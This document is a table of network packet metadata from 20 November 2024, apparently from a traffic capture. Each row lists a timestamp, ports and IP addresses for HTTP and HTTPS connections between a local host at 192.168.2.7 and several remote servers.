Nov 20, 2024 23:12:51.016503096 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.016550064 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.016648054 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.016685963 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.017529011 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.017574072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.017628908 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.017797947 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.018573999 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.018624067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.018682003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.018788099 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.019643068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.019691944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.019830942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.019906998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.020808935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.020852089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.021049023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.021115065 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.021758080 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.021914959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.021928072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.021956921 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.022819996 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.022866011 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.023119926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.023324966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.023881912 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.024074078 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.024081945 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.024121046 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.024966002 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.025007963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.025057077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.026002884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.026015043 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.026063919 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.027080059 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.027091980 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.027136087 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.028172016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.028235912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.028309107 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.028352022 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.029216051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.029278040 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.029299021 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.029710054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.030265093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.030277014 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.030323029 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.031310081 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.031367064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.031419039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.032386065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.032438993 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.032468081 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.032507896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.033457994 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.033514023 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.033556938 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.033595085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.034503937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.034555912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.034693956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.034838915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.035563946 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.035620928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.035659075 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.035702944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.044405937 CET	49851	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:51.056411028 CET	49852	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:51.056426048 CET	443	49852	162.159.61.3	192.168.2.7
Nov 20, 2024 23:12:51.103331089 CET	49852	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:12:51.118277073 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.238477945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.279423952 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.279871941 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.279900074 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.280402899 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.280406952 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.287801027 CET	443	49846	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.287942886 CET	443	49846	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.287990093 CET	49846	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.288096905 CET	49846	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.288096905 CET	49846	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.288114071 CET	443	49846	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.288122892 CET	443	49846	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.291568995 CET	49861	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.291615963 CET	443	49861	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.291866064 CET	49861	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.292020082 CET	49861	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.292038918 CET	443	49861	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.298681021 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.298738956 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.298922062 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.298922062 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.299010992 CET	49847	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.299034119 CET	443	49847	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.301265955 CET	49862	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.301302910 CET	443	49862	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.301541090 CET	49862	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.301541090 CET	49862	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.301661968 CET	443	49862	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.530999899 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:51.531367064 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:51.531400919 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:51.532460928 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:51.532527924 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:51.533607006 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:51.533703089 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:51.533801079 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:51.533808947 CET	443	49854	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:51.575273991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.575349092 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.575447083 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.575547934 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.575937986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.576039076 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.576092958 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.576148987 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.576939106 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.577106953 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.577159882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.578104019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.578119040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.578171968 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.578187943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.579070091 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.579145908 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.579693079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.579737902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.580358028 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.580369949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.580435038 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.581351042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.581734896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.582041979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.582187891 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.582361937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.582411051 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.582901955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.583050013 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.583409071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.583420038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.583468914 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.584470987 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.584711075 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.584747076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.584918976 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.585427046 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.585479975 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.585617065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.585664034 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.586638927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.586812019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.586870909 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.587673903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.587686062 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.587721109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.587742090 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.588144064 CET	49854	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:51.588740110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.588892937 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.588948011 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.588967085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.589719057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.589788914 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.589895964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.590020895 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.590708017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.590764046 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.590886116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.590939045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.591912985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.591974974 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.592036009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.592170954 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.592953920 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.593008995 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.593055010 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.593101025 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.593904972 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.594017982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.594064951 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.594129086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.594611883 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:51.594921112 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:51.594952106 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:51.595138073 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.595150948 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.595185995 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.595210075 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.595419884 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.596064091 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:51.596128941 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:51.596133947 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.596204042 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.596280098 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.596313000 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.596338034 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.596349001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.596590996 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:51.596677065 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:51.596769094 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:51.596792936 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:51.596859932 CET	49855	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.596863985 CET	443	49855	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.597126961 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.597285986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.597312927 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.597330093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.598304987 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.598357916 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.599162102 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.599365950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.599378109 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.599421978 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.599456072 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.600874901 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.600887060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.600944042 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.601583004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.601639986 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.601723909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.601984024 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.602732897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.602746010 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.602840900 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.603643894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.603800058 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.603863955 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.604878902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.604959965 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.605439901 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.605494022 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.605828047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.605839968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.605887890 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.605916977 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.606880903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.606894016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.606947899 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.607558966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.607629061 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.607652903 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.607723951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.607909918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.607923031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.607964039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.610538960 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.610611916 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.610718966 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.610764027 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.611437082 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.611490965 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.611767054 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.611850023 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.612178087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.612241030 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.612332106 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.612401962 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.613259077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.613271952 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.613317966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.614470959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.614485025 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.614537001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.615365028 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.615422010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.615524054 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.615573883 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.616394043 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.616408110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.616476059 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.617433071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.617500067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.617660046 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.617702007 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.618463993 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.618623972 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.618680954 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.619482994 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.619637012 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.619674921 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.619744062 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.620536089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.620590925 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.620891094 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.620966911 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.621763945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.622118950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.622169018 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.622850895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.622864008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.622904062 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.623920918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.623933077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.623976946 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.625030041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.625041962 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.625086069 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.626219988 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.626231909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.626288891 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.626971960 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.627156973 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.627216101 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.628185034 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.628360033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.628390074 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.628443003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.629245043 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.629256964 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.629313946 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.630187035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.630258083 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.630444050 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.630476952 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.631306887 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.631356001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.631685019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.631721973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.632411957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.632540941 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.632592916 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.633425951 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:51.633479118 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:51.652312994 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:51.718744993 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.718825102 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.718871117 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.719425917 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.719425917 CET	49850	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.719444990 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.719454050 CET	443	49850	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.723160982 CET	49863	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:51.723201990 CET	443	49863	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:51.723340988 CET	49863	443	192.168.2.7	13.107.246.63
